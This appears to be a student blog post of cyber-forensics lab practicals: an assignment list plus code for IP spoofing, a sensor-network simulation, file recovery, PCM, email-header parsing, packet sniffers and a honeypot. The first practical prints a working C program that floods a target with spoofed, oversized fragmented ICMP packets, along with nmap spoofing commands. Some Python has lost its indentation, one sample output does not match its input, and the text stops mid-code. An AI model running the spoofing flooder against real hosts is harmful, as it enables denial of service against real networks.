Followers

Friday, 26 December 2014

TE-SEM1_PL-02 Programmes

------------------------------
Practicals List:
-----------------------------

Assignments Group A (Mandatory)


1 Implementation of following spoofing assignments using C++ multicore      Programming
 a) IP Spoofing
b) Web spoofing.
2 A fire is to be detected using relevant wireless sensor network installed in a remote location
 to communicate the data to the central server for the monitoring purpose and detection of
the fire. Write a program to implement the system using WSN and Different data
communication strategies/ algorithms (at least two) to compare the reliability of the data
received and efficient timing. Use of Fort Forwarding/Tunneling Protocol is expected.
3.Write a computer forensic application program in Java/Python/C++ for Recovering Deleted
Files and Deleted Partitions
A person on a nearby road is trying to enter into a WiFi network by trying to crack the
4
Password to use the IP Printer resource; write a program in Java/Python/C++ to detect such
attempt and prohibit the access. Develop the necessary scenario by Using an IEEE 802.11,
configure a Wi-Fi adapter and Access Point.
5 Write a program to implement Pulse Code Modulation Technique to transfer the data to
other computer.
6 Write a program in C++ /Python to analyze email header.

Assignments Group B (Any Six Assignments, All assignments to be covered in the Batch)


1
Develop a GUI and write a Java/Pythn/C++ program to monitor Network Forensics,
Investigating Logs and Investigating Network Traffic.
2 Write a program in Python for Investigating Wireless Attacks using Multi-core
programming.
3 Write a program in Python for Investigating Web Attacks. Finding originator's IP, Subnet
Mask and Default gateway where a Web Server is connected using Optical Router.
4 Create a Scenario and write a program for overcoming a Website hacking problems and
identifying hacker machine using Java/Python/C++. Develop a prototype website using
Ruby on rails.
5 Write a program in C++ for Tracking Emails and Investigating Email Crimes
6 Install and use Android Mobile Forensics Open Source Tools.
7 Write a program to Implement a packet sniffing tool in C++/Java/Python.
8 Write a program in C++ to implement to identify DOS attack on a wireless cluster of
servers.
9 Install and use open source tools to Identifying various types of WiFi attacks. Write a C++/
Java/Python program to identify atleast one such attack.
10 Install and use a open source tool to Identifying MMS attacks, create necessary Scenario.
11 Design and implementation of Honeypot
12 Write a program to identifying private data acquisition of digital evidence using Java in a
WiFi system, use SAN storage(BIGDATA)
13 Write a program to Implement a packet sniffing tool in C++
14 Write a program to Implement a fingerprint recognition using Java Programming
15 Write a program for identifying the image tampering, voice data
(recorded/Blogged/twitted/Social Web Sites) tampering Python Programming. use SAN
storage(BIGDATA)
16 Write a program for identifying the voice data (recorded/ blogged Video/twitted/ Social Web
Sites ) tampering, where a Mic is attached through WSN. use SAN storage(BIGDATA)
17 Write a program for Identifying the tampering of digital signature using Python
18 Write a C++/Java program for Log Capturing and Event Correlation.
19 Write a tool to detect and prevent Capturing mobile messages in Python/Java.


Assignment Group C: Advance Technology Assignments (Any One)


1  Implementation of Steganography program.
2  Implement a program to generate and verify CAPTCHA image.
3   Intrusion detection system
4   Write a program to detect and prevent windows 8 registry Hacks and Twicks
Simulate the performance of DSDV, AODV and DSR routing protocols over the WSN.
5   Installation and configuration of WSN using ZigBee protocol
6 Set up a small wireless sensor network of few nodes and show communication between two
nodes using NS3 or equivalent




 ====================================

     Practical:A1 IP Spoofing

 ====================================


Assgnmnt1


Spoofing:(ppt)


http://www.google.co.in/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&sqi=2&ved=0CBsQFjAA&url=http%3A%2F%2Fwww.just.edu.jo%2F~tawalbeh%2Faabfs%2Fiss6750%2Fpresentations%2Fspoofing.ppt&ei=HrWnU46UAcW7uAT_xoDwDg&usg=AFQjCNEBRZCbJelNVCyylmChg4qEyZGjMw&sig2=T6Woz-EntdtvCFVeqajItg&bvm=bv.69411363,d.c2E



Examples of nmap:

http://www.tecmint.com/nmap-command-examples/




http://htu-2.blogspot.in/2013/05/ip-spoofing.html

How Spoofing is done using Nmap And how to check on wireshark:

1]. To install nmap:
      sudo apt-get install nmap
2]. To install wireshark:
       sudo apt-get install wireshark
3]. To check our ip address,interface and gateway
       nmap -islist
4]. Run using nmap command
       sudo namp -e eth0 -S 192.168.1.73 192.168.1.100
5]. To check on wireshark
      sudo wireshark
      In wireshark type ip.src==192.168.1.73 and ip.dst==192.168.1.100 in filter
      field which shows only connections between these IP Addresses .
6]. To execute program
      ./progname src add dst add [pckno]




---------------------------------------------------------------------------
Assignment No. : 01
Group : A
Title : Implementation of following spoofing assignments using C++ multicore Programming
    a) IP Spoofing
    b) Web spoofing.
Roll No. : 
Batch :
----------------------------------------------------------------------------



#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])
{
  int s, i;
  char buf[400];
  struct ip *ip = (struct ip *)buf;
  struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
  struct hostent *hp, *hp2;
  struct sockaddr_in dst;
  int offset;
  int on;
  int num = 100;
   if(argc < 3)
  {     printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);
     printf("- saddress is the spoofed source address\n");
     printf("- dstaddress is the target\n");
     printf("- number is the number of packets to send, 100 is the default\n");
     exit(1);
   }

  /* If enough argument supplied */
  if(argc == 4)
      /* Copy the packet number */
      num = atoi(argv[3]);
    /* Loop based on the packet number */
    for(i=1;i<=num;i++)
    {
       on = 1;
       bzero(buf, sizeof(buf));
       /* Create RAW socket */
       if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
       {
        perror("socket() error");
        /* If something wrong, just exit */
        exit(1);
       }



       /* socket options, tell the kernel we provide the IP structure */

       if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)

       {

        perror("setsockopt() for IP_HDRINCL error");

        exit(1);

       }

        if((hp = gethostbyname(argv[2])) == NULL)
       {
         if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1)
         {
            fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
            exit(1);
         }
       }
       else
           bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

        /* The following source address just redundant for target to collect */
        if((hp2 = gethostbyname(argv[1])) == NULL)
        {
         if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1)
         {
             fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
             exit(1);
         }
        }
        else
            bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);


        printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst), argv[1]);



        /* Ip structure, check the ip.h */

        ip->ip_v = 4;

        ip->ip_hl = sizeof*ip >> 2;

        ip->ip_tos = 0;

        ip->ip_len = htons(sizeof(buf));

        ip->ip_id = htons(4321);

        ip->ip_off = htons(0);

        ip->ip_ttl = 255;

        ip->ip_p = 1;

        ip->ip_sum = 0; /* Let kernel fills in */



        dst.sin_addr = ip->ip_dst;

        dst.sin_family = AF_INET;



        icmp->type = ICMP_ECHO;

        icmp->code = 0;

        /* Header checksum */

        icmp->checksum = htons(~(ICMP_ECHO << 8));



        for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))

        {

        ip->ip_off = htons(offset >> 3);



        if(offset < 65120)

         ip->ip_off |= htons(0x2000);

        else

          ip->ip_len = htons(418); /* make total 65538 */



        /* sending time */

        if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)

        {

           fprintf(stderr, "offset %d: ", offset);

           perror("sendto() error");

        }

     else

       printf("sendto() is OK.\n");



        /* IF offset = 0, define our ICMP structure */

        if(offset == 0)

        {

        icmp->type = 0;

        icmp->code = 0;

        icmp->checksum = 0;

        }

       }

      /* close socket */

      close(s);

      usleep(30000);

     }

    return 0;

}


/*                OUTPUT

administrator@administrator-Vostro-230:~$ cd Desktop/
administrator@administrator-Vostro-230:~/Desktop$ gcc ips.c -o ips
administrator@administrator-Vostro-230:~/Desktop$ sudo ./ips 192.168.1.69 192.168.1.70 100
[sudo] password for administrator:

Sending to 192.168.1.70 from spoofed 192.168.1.69
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
sendto() is OK.
administrator@administrator-Vostro-230:~/Desktop$

*/

 ====================================

     Practical:A2 Fire Detection

 ====================================



#include <iostream>
#include <fstream>
#include <string>
#include <cstdlib>
#include <vector>
#include "ns3/core-module.h"
#include "ns3/network-module.h"
#include "ns3/internet-module.h"
#include "ns3/applications-module.h"
#include "ns3/animation-interface.h"
#include "ns3/wifi-module.h"
#include "ns3/mobility-module.h"
#include "ns3/aodv-helper.h"
#include "ns3/applications-module.h"
#include "ns3/point-to-point-module.h"
//#include "ns3/lr-wpan-helper.h"
#include <ns3/lr-wpan-module.h>
#include "ns3/energy-module.h"
using namespace ns3;
using namespace std;
class SenseApp : public Application
{
public:
    SenseApp ();
    virtual ~SenseApp();
    void Setup (Ptr<Socket> socket, Address address, uint32_t packetSize, uint32_t nPackets, DataRate dataRate);
    void SetThersold(uint32_t tmp);
private:
    virtual void StartApplication (void);
    virtual void StopApplication (void);
    void ScheduleTx (void);
    void SendPacket (void);

    Ptr<Socket> m_socket;
    Address m_peer;
    uint32_t m_packetSize;
    uint32_t m_nPackets;
    DataRate m_dataRate;
    EventId m_sendEvent;
    bool m_running;
    uint32_t m_packetsSent;
    uint32_t m_temp;
    Ptr<UniformRandomVariable> m_uniformRandomVariable;
};


SenseApp::SenseApp (): m_socket (0),m_peer (),m_packetSize (0),m_nPackets (0),m_dataRate (0),m_sendEvent (),m_running (false),m_packetsSent (0)
{
m_uniformRandomVariable = CreateObject<UniformRandomVariable> ();
m_temp=40;
}

SenseApp::~SenseApp()
{
m_socket = 0;
}

void SenseApp::Setup (Ptr<Socket> socket, Address address, uint32_t packetSize, uint32_t nPackets, DataRate dataRate)
{
m_socket = socket;
m_peer = address;
m_packetSize = packetSize;
m_nPackets = nPackets;
m_dataRate = dataRate;
}

void SenseApp::StartApplication (void)
{
m_running = true;
m_packetsSent = 0;
m_socket->Bind ();
m_socket->Connect (m_peer);
SendPacket ();
}

void SenseApp::SetThersold(uint32_t tmp)
{
m_temp=tmp;
}
void SenseApp::StopApplication (void)
{
m_running = false;

    if (m_sendEvent.IsRunning ())
    {
    Simulator::Cancel (m_sendEvent);
    }
    if (m_socket)
    {
    m_socket->Close ();
    }
}
void SenseApp::SendPacket (void)
{
uint32_t temp=m_uniformRandomVariable->GetInteger (0, 50);
NS_LOG_UNCOND("Node "<<m_node->GetId()<<" Sense the Temperature value is \t"<<temp);
if(temp>m_temp){
Ptr<Packet> packet = Create<Packet> (m_packetSize);
m_socket->Send (packet);
NS_LOG_UNCOND("Node"<<m_node->GetId()<<" Sent one packet to Sink");
}
if (++m_packetsSent < m_nPackets)
    {
    ScheduleTx ();
    }
}
void SenseApp::ScheduleTx (void)
{
    if (m_running)
    {
    Time tNext (Seconds (m_packetSize * 8 / static_cast<double> (m_dataRate.GetBitRate ())));
    m_sendEvent = Simulator::Schedule (tNext, &SenseApp::SendPacket,this);
    }
}



int main(int argc, char** argv) 

{
    NS_LOG_COMPONENT_DEFINE ("WifiAdhoc_Routing");
    std::string phyMode ("DsssRate1Mbps");
    uint16_t num_node = 5;
    NodeContainer node;
    node.Create (num_node);



    MobilityHelper mobility;
    mobility.SetPositionAllocator ("ns3::GridPositionAllocator","MinX",DoubleValue (0.0),"MinY", DoubleValue (0.0),"DeltaX", DoubleValue(10.0), "DeltaY", DoubleValue (10.0),"GridWidth", UintegerValue (10),"LayoutType", StringValue ("RowFirst"));
    mobility.SetMobilityModel ("ns3::ConstantPositionMobilityModel");
    mobility.Install (node);
    WifiHelper wifi;
    YansWifiPhyHelper wifiPhy = YansWifiPhyHelper::Default ();
    wifiPhy.Set ("RxGain", DoubleValue (-12) );
    wifiPhy.SetPcapDataLinkType (YansWifiPhyHelper::DLT_IEEE802_11_RADIO);
    YansWifiChannelHelper wifiChannel;
    wifiChannel.SetPropagationDelay("ns3::ConstantSpeedPropagationDelayModel");
    wifiChannel.AddPropagationLoss("ns3::FriisPropagationLossModel");
    wifiPhy.SetChannel (wifiChannel.Create ());
    NqosWifiMacHelper wifiMac = NqosWifiMacHelper::Default ();
    wifi.SetStandard (WIFI_PHY_STANDARD_80211b);
    wifi.SetRemoteStationManager("ns3::ConstantRateWifiManager","DataMode",StringValue(phyMode), "ControlMode",StringValue (phyMode));
    wifiMac.SetType ("ns3::AdhocWifiMac");
    NetDeviceContainer Devices;
    Devices = wifi.Install (wifiPhy, wifiMac, node);
    //
    AsciiTraceHelper ascii;
    wifiPhy.EnableAsciiAll (ascii.CreateFileStream ("out.tr"));
    wifiPhy.EnablePcap ("out", Devices);
    AodvHelper aodv;
    Ipv4StaticRoutingHelper staticRouting;
    Ipv4ListRoutingHelper list;
    list.Add (staticRouting, 0);
    list.Add (aodv, 10);
    InternetStackHelper internet;
    internet.SetRoutingHelper (list);
    internet.Install (node);
    Ipv4AddressHelper ipv4;






    ipv4.SetBase ("192.168.1.0", "255.255.255.0");
    Ipv4InterfaceContainer i;
    i = ipv4.Assign (Devices);
    uint16_t sinkPort = 4000;
    Address sinkAddress (InetSocketAddress (i.GetAddress (0),sinkPort));
    PacketSinkHelper packetSinkHelper ("ns3::UdpSocketFactory",InetSocketAddress (Ipv4Address::GetAny (), sinkPort));
    ApplicationContainer sinkApps = packetSinkHelper.Install (node.Get(0));
    sinkApps.Start (Seconds (0.));
    sinkApps.Stop (Seconds (20.));
    Ptr<SenseApp> app[100];
    Ptr<Socket> ns3UdpSocket[100];
    for (int i=0;i<num_node;i++)
    {
    ns3UdpSocket[i] = Socket::CreateSocket (node.Get (i),UdpSocketFactory::GetTypeId ());
    app[i]= CreateObject<SenseApp> ();
    app[i]->Setup (ns3UdpSocket[i], sinkAddress, 64, 10000, DataRate("1Mbps"));
    app[i]->SetThersold(30);
    node.Get (i)->AddApplication (app[i]);
    app[i]->SetStartTime (Seconds (1.));
    app[i]->SetStopTime (Seconds (20.));
    }
    //AnimationInterface::UpdateNodeColor(UintegerValue(0),0,255,0);
    AnimationInterface::SetNodeDescription(node.Get (0),"Sink");
    AnimationInterface anim ("New_By_SK.xml");
    anim.EnablePacketMetadata (true);
    anim.UpdateNodeColor(node.Get (0),0,255,0);
    //anim.SetNodeColor(node.Get (1),100,100,100);
    Simulator::Stop(Seconds(100.0));
    Simulator::Run();
    Simulator::Destroy();
    return 0;

}

 out








 ====================================

     Practical:A3 Recovery of deleted files

 ====================================




#include<iostream>
#include<sys/stat.h>
#include<stdlib.h>
using namespace std;

int main()
{
   cout<<"\n\t Program For Recovery of Deleted Files";
   cout<<"\n**********************************************";
  
   system("foremost -v -T -c /etc/foremost.conf -i /dev/sda -o output");
   
   cout<<"\n Your Deleted File Are Recovered.....";

 return(0);

}

/*           OUTPUT

administrator@administrator-Inspiron-660s:~$ cd Desktop/
administrator@administrator-Inspiron-660s:~/Desktop$ g++ rec.cpp -o recovery
administrator@administrator-Inspiron-660s:~/Desktop$ sudo ./recovery
[sudo] password for administrator: 

     Program For Recovery of Deleted Files
     **********************************************

Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Thu Sep 18 22:03:19 2014
Invocation: foremost -v -T -c /etc/foremost.conf -i /dev/sda -o output 
Output directory: /home/neha/Desktop/output_Thu_Sep_18_22_03_19_2014
Configuration file: /etc/foremost.conf
Processing: /dev/sda
|------------------------------------------------------------------
File: /dev/sda
Start: Thu Sep 18 22:03:19 2014
Length: 465 GB (500107862016 bytes)
 
Num     Name (bs=512)           Size     File Offset     Comment 

0:    00089194.jpg            2 KB        45667328      
1:    00089200.jpg           983 B        45670400      
2:    00089202.jpg            1 KB        45671424      
3:    00089254.jpg           929 B        45698048      
4:    00089276.jpg            1 KB        45709312      
5:    00089564.jpg            1 KB        45856768      
6:    00089580.jpg            2 KB        45864960      
7:    00089606.jpg            2 KB        45878272      
8:    00089612.jpg            2 KB        45881344      
9:    00089622.jpg            2 KB        45886464      
10:    00089628.jpg            2 KB        45889536      
11:    00089656.jpg            1 KB        45903872      
12:    00089666.jpg            2 KB        45908992      
13:    00089672.jpg            1 KB        45912064      
14:    00089676.jpg            2 KB        45914112      
15:    00089682.jpg            2 KB        45917184      
16:    00089688.jpg            2 KB        45920256      
17:    00089694.jpg            1 KB        45923328      
18:    00089698.jpg            2 KB        45925376      
19:    00089704.jpg            2 KB        45928448      
20:    00089714.jpg            2 KB        45933568      
21:    00089068.gif            1 KB        45602816       (1 x 167)
22:    00089072.gif            1 KB        45604864       (1 x 24)
23:    00089476.gif           807 B        45811712       (1 x 1)
24:    00089498.gif            1 KB        45822976       (16 x 16)
25:    00089574.gif           893 B        45861888       (35 x 27)
26:    00089806.gif            2 KB        45980672       (62 x 20)
27:    00091080.gif            2 KB        46632960       (16 x 16)
28:    00091108.gif           997 B        46647296       (62 x 24)

Your Deleted File Are Recovered.....

^Z
[1]+  Stopped                 sudo ./recovery
administrator@administrator-Inspiron-660s:~/Desktop$ 





 -----------------------------------------------------------------

     Practical:A5 PCM

 -----------------------------------------------------------------



 #include<math.h>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
    int x[512],z[512],A;
    cout<<"Enter Amplitude:";cin>>A;
 
    float f;

  
    int t=0,T;
    cout<<"Enter time:";cin>>T;
    f=1.0/T;
    for(t=0;t<=T;t++)
    {
        x[t] = A * sin(2 * 3.142 * f * t); //sine wave input in sine1.txt
        cout<<x[t]<<"  ";
    }
    cout<<"\n\n"; 

    int b,size,m;
    cout<<"Enter No of bits for Quantisation code:";
    cin>>b;
    m=pow(2,b-1);
    size=A/m;
 
    int p,n,k;
    for(t=0;t<=T;t++)
    {
                    if(x[t]>=0){
                    p=0;n=size;
                    for(k=0;k<m;k++)
                    {
                     if(x[t]>=p&&x[t]<=n)
                     {
                             z[t]=k+m;
                break;               
                     } 
            p=n;
                    n=n+size;        
                    }
                 
                    }
                    else
                    {
                        p=-1;n=-size;
                    for(k=0;k<m;k++)
                    {
                     if(x[t]<=p&&x[t]>=n)
                     {
                             z[t]=m-k-1;
                break;               
                     }
                p=n;
                    n=n-size;         
                    }
                 
                    }
    cout<<" "<<z[t];

    }
 
    cout<<"\n\n";
    long i,rem,j=0,sum=0;
    for(j=0;j<=T;j++)
    {
        i=1;    sum=0;
        do
        {
            rem=z[j]%2;
            sum=sum + (i*rem);
            z[j]=z[j]/2;
            i=i*10;
        }while(z[j]>0);
        cout<<" "<<sum;
    }
    cin.get();

    cout<<"\n";
        return 0;
    }



/*    OUTPUT

administrator@administrator-Vostro-230:~/Desktop/PL_02/Assgnmnt03$ g++ pcm.cpp -o pcm
administrator@administrator-Vostro-230:~/Desktop/PL_02/Assgnmnt03$ ./pcm
Enter Amplitude:20
Enter time:10
0  11  19  19  11  0  -11  -19  -19  -11  0
Enter No of bits for Quantisation code:3
 4 6 7 7 6 4 1 0 0 1 4

 100 110 111 111 110 100 1 0 0 1 100
administrator@administrator-Vostro-230:~/Desktop/TE_73/PL_02/Assgnmnt03$

*/




 -----------------------------------------------------------------

     Practical:A6 Email header

 -----------------------------------------------------------------


 email.py
------------------------


#!/usr/bin/env python

import re

emails = open("input.txt","r") #opens the file to analyze
results = open("op.txt","w") #creates new file for search results

resultsList = []

for line in emails:
    if "From - " in line: #recgonizes the beginning of a email message and adds a linebreak
        newMessage = re.findall(r'\w\w\w\s\w\w\w.*', line)
        if newMessage:
            resultsList.append("\n\t*** EMAIL HEADER DETAILS ***\n")
               
    if "From: " in line:
        address = re.findall(r'[\w.-]+@[\w.-]+', line)
        if address:
            resultsList.append("\n\nFrom : ")
            resultsList.append(address)
            resultsList.append(";")
        
    if "To: " in line:
        if "Delivered-To:" not in line: #avoids confusion with 'Delivered-To:' tag
            address = re.findall(r'[\w.-]+@[\w.-]+', line)
            if address:
                resultsList.append("\n\nTo : ")
                
                for person in address:
                    resultsList.append(person)
                    resultsList.append("; ")
                
    if "Bcc: " in line:
        address = re.findall(r'[\w.-]+@[\w.-]+', line)
        if address:
            resultsList.append("\n\nBcc : ")
            resultsList.append(address)
            resultsList.append(";")
        
    if "Date: " in line:
        address = re.findall(r'\w\w\w\,.*', line)
        if address:     
            resultsList.append("\n\nDate : ")
            resultsList.append(address)
            resultsList.append(";")
        
    if "Subject: " in line:
        address = re.findall(r'[\w\s.-]+[\w.-]+', line)
        if address:
            resultsList.append("\n\nSub : ")
            resultsList.append(address)
       
for result in resultsList:
    results.writelines(result)


emails.close()
results.close()


input.txt
------------------------


From - Tue July 08 11:13:12 2014

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Delivered-To: barde_sir@gmail.com

Received: by 192.48.48.3 with SMTP id v3cs417003nfv;

         08 July 2014 11:13:43 -0800 (PST)

Received: by 192.65.211.13 with SMTP id n13mr5741660qbq.1168884841872;

         08 July 2014 11:13:43 -0800 (PST)

Return-Path: <navinwaghwani@gmail.com>

Received: from bay0-omc3-s21.bay0.gmail.com (bay0-omc3-s21.bay0.gmail.com [65.54.246.221])

        by mx.google.com with ESMTP id e13si6347910qbe.2007.01.15.10.13.58;

        Tue, 08 July 2014 11:13:43 -0800 (PST)

Received-SPF: pass (google.com: domain of nobody@gmail.com designates 65.54.246.221 as permitted sender)

Received: from gmail.com ([65.54.250.22]) by bay0-omc3-s21.bay0.gmail.com with Microsoft SMTPSVC(6.0.3790.2668);

         Tue, 08 July 2014 11:13:43 -0800

Received: from mail pickup service by gmail.com with Microsoft SMTPSVC;

         Tue, 08 July 2014 11:13:43 -0800

Message-ID: <BAY115-F12E4E575FF2272CF577605A1B50@phx.gbl>

Received: from 65.54.250.200 by by115fd.bay115.gmail.msn.com with HTTP;

        Tue, 08 July 2014 11:13:43 GMT

X-Originating-IP: [192.122.47.165]

X-Originating-Email: [navinwaghwani@gmail.com]

X-Sender: navinwaghwani@gmail.com

From: =?iso-8859-1?B?UGF1bGEgTWFy7WEgTGlkaWEgRmxvcmVuemE=?=<navinwaghwani@gmail.com>

To: receiver1@gmail.com, receiver2@gmail.com, receiver3@gmail.com

Bcc: receiver4@gmail.com

Subject: To analyze email header in Python

Date: Tue, 08 July 2014 11:13:43 +0000

Mime-Version: 1.0

Content-Type: multipart/mixed; boundary="----=_NextPart_000_d98_1c4f_3aa9"

X-OriginalArrivalTime: 08 July 2014 11:13:43 (UTC) FILETIME=[E68D4740:01C738D0]

Return-Path: navinwaghwani@gmail.com


op.txt
---------------



    *** EMAIL HEADER DETAILS ***


From : pranavlawate@gmail.com;

To : receiver1@gmail.com; receiver2@gmail.com; receiver3@gmail.com;

Bcc : receiver4@gmail.com;

Sub : Subject To analyze email header in Python

Date : Tue, 08 July 2014 11:13:43 +0000;



 -----------------------------------------------------------------

     Practical:B7 Packet sniffing using python

 -----------------------------------------------------------------



#Packet sniffer in python for Linux
#Sniffs only incoming TCP packet
import socket, sys
from struct import *
#create an INET, STREAMing socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
# receive a packet
while True:
packet = s.recvfrom(65565)
#packet string from tuple
packet = packet[0]
#take first 20 characters for the ip header
ip_header = packet[0:20]
#now unpack them :)
iph = unpack('!BBHHHBBH4s4s' , ip_header)
version_ihl = iph[0]
version = version_ihl >> 4
ihl = version_ihl & 0xF
iph_length = ihl * 4
ttl = iph[5]
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8]);
d_addr = socket.inet_ntoa(iph[9]);
print 'Version : ' + str(version) + ' IP Header Length : ' + str(ihl) + ' TTL : ' + str(ttl) + ' Protocol : ' + str(protocol) + ' Source Address : ' + str(s_addr) + ' Destination Address : ' + str(d_addr)
tcp_header = packet[iph_length:iph_length+20]
#now unpack them :)
tcph = unpack('!HHLLBBHHH' , tcp_header)
source_port = tcph[0]
dest_port = tcph[1]
sequence = tcph[2]
acknowledgement = tcph[3]
doff_reserved = tcph[4]
tcph_length = doff_reserved >> 4
print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Sequence Number : ' + str(sequence) + ' Acknowledgement : ' + str(acknowledgement) + ' TCP header length : ' + str(tcph_length)
h_size = iph_length + tcph_length * 4
data_size = len(packet) - h_size
#get data from the packet
data = packet[h_size:]
print 'Data : ' + data
print




/* OUTPUT

ell-152@ell152-OptiPlex-390:~$ cd Desktop
ell-152@ell152-OptiPlex-390:~/Desktop$ python sniffer.py
ell-152@ell152-OptiPlex-390:~/Desktop$ ./sniffer.py

Version : 4 IP Header Length : 5 TTL : 64 Protocol : 6 Source Address : 208.80.154.234 Destination Address : 192.168.2.214
Source Port : 80 Dest Port : 48201 Sequence Number : 3204997457 Acknowledgement : 2249952694 TCP header length : 5
Data : HTTP/1.1 304 Not Modified
Server: Apache
X-Content-Type-Options: nosniff
Cache-control: public, max-age=300, s-maxage=300
Last-Modified: Thu, 10 Jul 2014 20:06:58 GMT
Expires: Tue, 15 Jul 2014 08:23:56 GMT
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: text/javascript; charset=utf-8
Accept-Ranges: bytes
Date: Tue, 15 Jul 2014 08:22:27 GMT
X-Varnish: 2322720149 2322510283
Age: 211
Via: 1.1 varnish
Connection: keep-alive
X-Cache: cp1069 hit (11005)


Version : 4 IP Header Length : 5 TTL : 64 Protocol : 6 Source Address : 208.80.154.224 Destination Address : 192.168.2.214
Source Port : 80 Dest Port : 37227 Sequence Number : 3257673195 Acknowledgement : 239289896 TCP header length : 8
Data :

Version : 4 IP Header Length : 5 TTL : 64 Protocol : 6 Source Address : 208.80.154.224 Destination Address : 192.168.2.214
Source Port : 80 Dest Port : 37227 Sequence Number : 3257673196 Acknowledgement : 239290268 TCP header length : 5
Data :

Version : 4 IP Header Length : 5 TTL : 64 Protocol : 6 Source Address : 208.80.154.234 Destination Address : 192.168.2.214
Source Port : 80 Dest Port : 48198 Sequence Number : 3216638280 Acknowledgement : 153727679 TCP header length : 5
Data :

Version : 4 IP Header Length : 5 TTL : 64 Protocol : 6 Source Address : 208.80.154.234 Destination Address : 192.168.2.214
Source Port : 80 Dest Port : 48198 Sequence Number : 3216638280 Acknowledgement : 153727679 TCP header length : 5
Data : HTTP/1.1 200 OK
Server: Apache
X-Content-Type-Options: nosniff
Cache-control: public, max-age=2592000, s-maxage=2592000
Last-Modified: Tue, 15 Jul 2014 08:14:22 GMT
Expires: Thu, 14 Aug 2014 08:15:12 GMT
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: text/javascript; charset=utf-8
Content-Length: 3106
Accept-Ranges: bytes
Date: Tue, 15 Jul 2014 08:22:28 GMT
X-Varnish: 2322721365 2322286519
Age: 436
Via: 1.1 varnish
Connection: keep-alive
X-Cache: cp1069 hit (2456)

*/


 -----------------------------------------------------------------

     Practical:B11 Honeypot

 -----------------------------------------------------------------


 
#!/usr/bin/env python

#Name: pyp0t.py
#Version: 0.2
#Author: s3my0n

import time
import socket

def getstuff():
banner = raw_input('\nEnter banner information: ')
host = raw_input('Enter IP Address: ')
while True:
try:
port = int(raw_input('Enter Port Number: '))
except TypeError:
print '\n[-] Error: invalid port number\n'
continue
else:
if (port < 1) or (port > 65535):
print '\n[-] Error: invalid port number\n'
continue
else:
return (banner, host, port)

def writelog(client, data=''):
separator = '='*40
fopen = open('potlog.txt', 'a')
fopen.write('Time: %s\nIP Address: %s\nPort: %d\n\n%s%s\n\n'%(time.ctime(), client[0], client[1], data, separator))
fopen.close()

def main(host, port, banner):
print '\n[*] Listening ...\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(100)
while True:
(insock, address) = s.accept()
print '[*] Connection from: %s:%d' % (address[0], address[1])
try:
insock.send('%s\n'%(banner))
data = insock.recv(1024)
insock.close()
except socket.error, e:
writelog(address)
else:
writelog(address, data)
if __name__=='__main__':
try:
stuff = getstuff()
main(stuff[1], stuff[2], stuff[0])
except KeyboardInterrupt:
print '\n\n[+] Exiting...'
exit(0)
except BaseException, e:
print '\n[-] Error: %s' % (e)
exit(1)


/* OUTPUT

gescoe@gescoe:~/Desktop$ python Honey.py

Enter banner information:HELLOO WAAWF bfiuyafb sadjbfasdbfhjkajdsa fsd fasdf dsaf dsf

Enter IP Address:127.0.0.1

Enter Port Number:53634


Enter banner information:duhagfybg yfgkjsghjbsadkf

Enter IP Address:127.0.0.1

Enter Port Number:53637


Enter banner information:sdfasdfasdfasdfasdfsadf

Enter IP Address:127.0.0.1

Enter Port Number: 53638

Enter banner information:234234234234234234234234234

Enter IP Address:127.0.0.1

Enter Port Number: 53639

*/

 -----------------------------------------------------------------

     Practical:B13 Packet sniffing using c/cpp

 -----------------------------------------------------------------


#include<netinet/in.h>
#include<errno.h>
#include<netdb.h>
#include<stdio.h>    //For standard things
#include<stdlib.h>    //malloc
#include<string.h>    //strlen

#include<netinet/ip_icmp.h>    //Provides declarations for icmp header
#include<netinet/udp.h>    //Provides declarations for udp header
#include<netinet/tcp.h>    //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
#include<netinet/if_ether.h>    //For ETH_P_ALL
#include<net/ethernet.h>    //For ether_header
#include<sys/socket.h>
#include<arpa/inet.h>
#include<sys/ioctl.h>
#include<sys/time.h>
#include<sys/types.h>
#include<unistd.h>

void ProcessPacket(unsigned char* , int);
void print_ip_header(unsigned char* , int);
void print_tcp_packet(unsigned char * , int );
void print_udp_packet(unsigned char * , int );
void print_icmp_packet(unsigned char* , int );
void PrintData (unsigned char* , int);

FILE *logfile;
struct sockaddr_in source,dest;
int tcp=0,udp=0,icmp=0,others=0,igmp=0,total=0,i,j;   

int main()
{
